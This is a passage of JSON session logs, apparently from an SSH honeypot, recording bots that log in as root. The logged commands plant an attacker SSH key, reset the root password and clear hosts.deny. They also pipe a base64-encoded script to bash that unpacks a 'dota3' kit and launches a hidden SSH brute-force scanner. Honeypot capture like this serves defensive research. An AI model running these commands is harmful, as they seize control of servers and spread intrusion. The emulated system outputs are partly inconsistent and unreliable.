$7}'"},{"seq":11,"at":"2026-08-24T03:17:08.456392+00:00","kind":"output","latency_ms":705,"data":"15888 403 15485 0 0 0"},{"seq":12,"at":"2026-08-24T03:17:09.152233+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T03:17:10.196396+00:00","kind":"output","latency_ms":1041,"data":"-rwxr-xr-x 1 root root 148K Aug 24 03:08 /usr/bin/ls"},{"seq":14,"at":"2026-08-24T03:17:10.888527+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T03:17:10.889198+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-24T03:17:11.579916+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T03:17:11.580541+00:00","kind":"output","latency_ms":null,"data":" 03:17:11 up 4 days, 0:07, 0 user, load average: 0.31, 0.35, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T03:17:12.270223+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T03:17:12.270814+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T03:17:12.963358+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T03:17:12.963784+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T03:17:13.653719+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T03:17:13.654433+00:00","kind":"output","latency_ms":null,"data":"top - 03:17:13 up 4 days, 0:07, 0 user, load average: 0.31, 0.35, 0.22\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T03:17:14.345376+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T03:17:14.345935+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T03:17:15.036617+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T03:17:15.037387+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T03:17:15.755969+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T03:17:15.756724+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-24T03:17:16.446544+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T03:17:19.813360+00:00","kind":"output","latency_ms":3362,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC"},{"seq":32,"at":"2026-08-24T03:17:20.506727+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T03:17:21.072562+00:00","kind":"output","latency_ms":565,"data":"25G"},{"seq":34,"at":"2026-08-24T03:17:23.255705+00:00","kind":"input","latency_ms":null,"data":"echo \"root Redhat123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T03:17:23.946596+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-24T03:17:24.463347+00:00","kind":"output","latency_ms":517,"data":""},{"seq":37,"at":"2026-08-24T03:17:26.510809+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T03:17:27.489263+00:00","kind":"output","latency_ms":976,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-24T03:17:28.181163+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T03:17:28.863399+00:00","kind":"output","latency_ms":681,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-24T03:17:29.553555+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T03:17:30.247621+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T03:17:30.859575+00:00","kind":"output","latency_ms":612,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-24T03:17:31.552221+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T03:17:32.095025+00:00","kind":"output","latency_ms":539,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-24T03:17:32.783687+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-24T03:17:33.447253+00:00","kind":"output","latency_ms":662,"data":""},{"seq":48,"at":"2026-08-24T03:17:41.662280+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-24T03:17:41.662895+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Redhat123","method":"password","accepted":true,"tier":"other"}]} {"id":"4de63a5d-4df9-4aff-bcb2-ce12dde2b67a","name":"bashful-crimson-penguin","protocol":"ssh","channel_kind":"exec","src_ip":"190.60.43.27","src_port":53456,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":285,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T00:59:17.188346+00:00","ended_at":"2026-08-24T00:59:17.266471+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3445,"events":[{"seq":1,"at":"2026-08-24T00:58:50.851125+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T00:58:51.234125+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T00:58:54.352368+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T00:58:54.355708+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T00:58:54.634971+00:00","kind":"input","latency_ms":null,"data":"echo \"root:wW0VrtFthYZ9\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T00:58:54.914831+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-24T00:58:55.200146+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T00:58:55.202807+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T00:58:55.482101+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T00:58:56.516151+00:00","kind":"output","latency_ms":1034,"data":" total used free shared buff/cache available\nMem: 15888 3721 8210 64 3956 11689"},{"seq":11,"at":"2026-08-24T00:58:56.801263+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T00:58:57.378734+00:00","kind":"output","latency_ms":577,"data":"-rwxr-xr-x 1 root root 142K Jan 24 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T00:58:57.665428+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T00:58:57.667676+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T00:58:57.950211+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T00:58:57.951564+00:00","kind":"output","latency_ms":null,"data":" 00:58:57 up 3 days, 21:49, 0 user, load average: 0.07, 0.06, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T00:58:58.232695+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T00:58:58.234125+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T00:58:58.517268+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T00:58:58.519129+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T00:58:59.215923+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T00:58:59.217455+00:00","kind":"output","latency_ms":null,"data":"top - 00:58:59 up 3 days, 21:49, 0 user, load average: 0.07, 0.06, 0.06\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T00:58:59.500337+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T00:58:59.502055+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T00:58:59.781679+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T00:58:59.783195+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T00:59:00.065879+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T00:59:00.067435+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-24T00:59:00.349252+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T00:59:01.105052+00:00","kind":"output","latency_ms":756,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-24T00:59:01.389227+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T00:59:01.997526+00:00","kind":"output","latency_ms":609,"data":"24G"},{"seq":33,"at":"2026-08-24T00:59:03.379406+00:00","kind":"input","latency_ms":null,"data":"echo \"root 1qazxsW@\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T00:59:03.658433+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T00:59:04.087528+00:00","kind":"output","latency_ms":427,"data":""},{"seq":36,"at":"2026-08-24T00:59:04.700746+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T00:59:05.420444+00:00","kind":"output","latency_ms":719,"data":"root 1qazxsW@"},{"seq":38,"at":"2026-08-24T00:59:05.705927+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T00:59:06.154931+00:00","kind":"output","latency_ms":450,"data":"root 1qazxsW@"},{"seq":40,"at":"2026-08-24T00:59:06.441889+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T00:59:06.729967+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T00:59:07.338444+00:00","kind":"output","latency_ms":607,"data":"root 1qazxsW@"},{"seq":43,"at":"2026-08-24T00:59:07.627010+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T00:59:08.082167+00:00","kind":"output","latency_ms":459,"data":"root 1qazxsW@"},{"seq":45,"at":"2026-08-24T00:59:08.467143+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T00:59:09.106293+00:00","kind":"output","latency_ms":637,"data":""},{"seq":47,"at":"2026-08-24T00:59:17.190908+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T00:59:17.193707+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"1qazxsW@","method":"password","accepted":true,"tier":"other"}]} {"id":"ab1b937d-a056-4f39-9c0c-f216b9b615b6","name":"nameless-murky-dormouse","protocol":"ssh","channel_kind":"exec","src_ip":"163.7.3.26","src_port":58822,"username":"root","client_version":"SSH-2.0-libssh_0.12.0","auth_attempts":1,"automation":"bot","think_ms":763,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T21:19:15.453482+00:00","ended_at":"2026-08-23T21:19:15.691786+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3571,"events":[{"seq":1,"at":"2026-08-23T21:18:25.900096+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T21:18:26.673575+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T21:18:37.581072+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T21:18:37.584092+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T21:18:38.343456+00:00","kind":"input","latency_ms":null,"data":"echo \"root:iVehNGLDdW88\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T21:18:39.058134+00:00","kind":"output","latency_ms":715,"data":""},{"seq":7,"at":"2026-08-23T21:18:39.103217+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-23T21:18:39.865305+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-23T21:18:39.868331+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-23T21:18:40.632141+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-23T21:18:41.161701+00:00","kind":"output","latency_ms":535,"data":"15888 3436 12452 203 1368 10976"},{"seq":12,"at":"2026-08-23T21:18:41.929605+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-23T21:18:42.603239+00:00","kind":"output","latency_ms":674,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:10 /usr/bin/ls"},{"seq":14,"at":"2026-08-23T21:18:43.374232+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T21:18:43.378895+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T21:18:44.132241+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-23T21:18:44.136099+00:00","kind":"output","latency_ms":null,"data":" 21:18:44 up 3 days, 18:08, 0 user, load average: 0.19, 0.16, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-23T21:18:44.897414+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-23T21:18:44.900465+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-23T21:18:45.664902+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-23T21:18:45.676747+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-23T21:18:46.424113+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-23T21:18:46.429084+00:00","kind":"output","latency_ms":null,"data":"top - 21:18:46 up 3 days, 18:08, 0 user, load average: 0.19, 0.16, 0.2\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-23T21:18:47.182202+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-23T21:18:47.186320+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-23T21:18:47.948667+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-23T21:18:47.956420+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-23T21:18:48.705566+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-23T21:18:48.707530+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-23T21:18:49.469742+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-23T21:18:50.227392+00:00","kind":"output","latency_ms":757,"data":"Model name: AMD EPYC 7713 64-Core Processor\n\u09ae\u09a1\u09c7\u09b2 \u09a8\u09be\u09ae: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-23T21:18:50.990355+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-23T21:18:51.587118+00:00","kind":"output","latency_ms":596,"data":"24G"},{"seq":34,"at":"2026-08-23T21:18:57.014938+00:00","kind":"input","latency_ms":null,"data":"echo \"root Root123456!\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-23T21:18:57.776670+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-23T21:18:58.440561+00:00","kind":"output","latency_ms":662,"data":""},{"seq":37,"at":"2026-08-23T21:19:00.461787+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-23T21:19:00.941455+00:00","kind":"output","latency_ms":480,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-23T21:19:01.710595+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-23T21:19:02.491347+00:00","kind":"output","latency_ms":784,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-23T21:19:03.277038+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T21:19:04.040439+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T21:19:04.517353+00:00","kind":"output","latency_ms":478,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-23T21:19:05.281630+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-23T21:19:05.872521+00:00","kind":"output","latency_ms":591,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-23T21:19:06.635639+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo 